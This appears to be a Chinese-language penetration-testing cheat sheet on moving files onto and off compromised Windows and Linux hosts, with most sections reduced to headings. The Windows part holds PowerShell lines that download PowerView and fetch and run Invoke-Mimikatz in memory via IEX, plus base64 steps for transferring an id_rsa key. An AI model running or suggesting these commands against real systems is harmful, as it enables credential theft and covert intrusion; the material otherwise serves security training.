文件传输
一、Windows 文件传输
必看原文 短一截
1. Powershell Base64 编码和解码
# 在传输文件后,我们需要检查文件上传是否正确, 我们可以使用 MD5 查看
md5sum id_rsa
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# 将文件进行编码后传输
cat id_rsa |base64 -w 0;echo
[IO.File]::WriteAllBytes("Target Location", [Convert]::FromBase64String("BASE64 String"))2. Powershell 网络下载
# 文件下载
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
# 无文件方法
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
# 文件下载
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps13. SMB 下载
4. FTP 下载
5. Powershell 上传
6. SMB 上传
企业中通常不会让 SMB 协议离开其内部网络,这时候我们可以使用 WebDav , WebDav 是 HTTP 的扩展,HTTP 是 Web 浏览器和 Web 服务器用来相互通信的 Internet 协议。该
WebDAV协议使网络服务器能够像文件服务器一样运行,支持协作内容创作。WebDAV也可以使用 HTTPS。当您使用
SMB时,它将首先尝试使用 SMB 协议进行连接,如果没有可用的 SMB 共享,它将尝试使用 HTTP 进行连接。
注意: DavWWWRoot是 Windows Shell 识别的特殊关键字。您的 WebDAV 服务器上不存在这样的文件夹。DavWWWRoot 关键字告诉 Mini-Redirector 驱动程序,该驱动程序处理您连接到 WebDAV 服务器根目录的 WebDAV 请求。如果您在连接到服务器时指定服务器上存在的文件夹,则可以避免使用此关键字。例如:\192.168.49.128\sharefolder
7. FTP 上传
二、Linux 文件传输
1. Base64 编码解码
2. Wget & CURL 进行 WEB 下载
3. Linux 的无文件攻击
4. 使用 Bash (/dev/tcp) 下载
5. SSH 下载
详见 SSH 服务篇 --> 跳转链接
6. 网页上传
7. 各种 WEB 服务器
三、使用代码传输文件
1. 下载
2. 上传
四、其他文件传输方法
1. Netcat
Netcat(通常缩写为
nc)是一种计算机网络实用程序,用于使用 TCP 或 UDP 读取和写入网络连接
攻击主机连接目标主机
目标主机连接攻击主机
如果目标主机没有 Netcat 和 Ncat 我们可以使用 /dev/TCP 进行传输
2. Powershell 会话文件传输
我们可以使用 Powershell Remoting (又称 WinRM) 来执行文件传输操作
Powershell Remoting 允许我们使用 Powershell 会话在远程计算机上执行脚本或命令。默认情况下,启用 PowerShell 远程处理会同时创建 HTTP 和 HTTPS 侦听器。侦听器在 HTTP 的默认端口 TCP/5985 和 HTTPS 的 TCP/5986 上运行。
3. RDP
五、受保护的文件传输
1. Windows 文件加密
使用 Invoke-AESEncryption.ps1 PowerShell 脚本
2. Linux 文件加密
六、通过 HTTP/S 捕获文件
1. Nginx
七、依赖本地
1. Bitsadmin 下载功能
后台智能传输服务 (BITS)可用于从 HTTP 站点和 SMB 共享下载文件。它“智能地”检查主机和网络利用率,以尽量减少对用户前台工作的影响。
2. Certutil
Certutil 可用于下载任意文件。它适用于所有 Windows 版本,并且一直是一种流行的文件传输技术
最后更新于
这有帮助吗?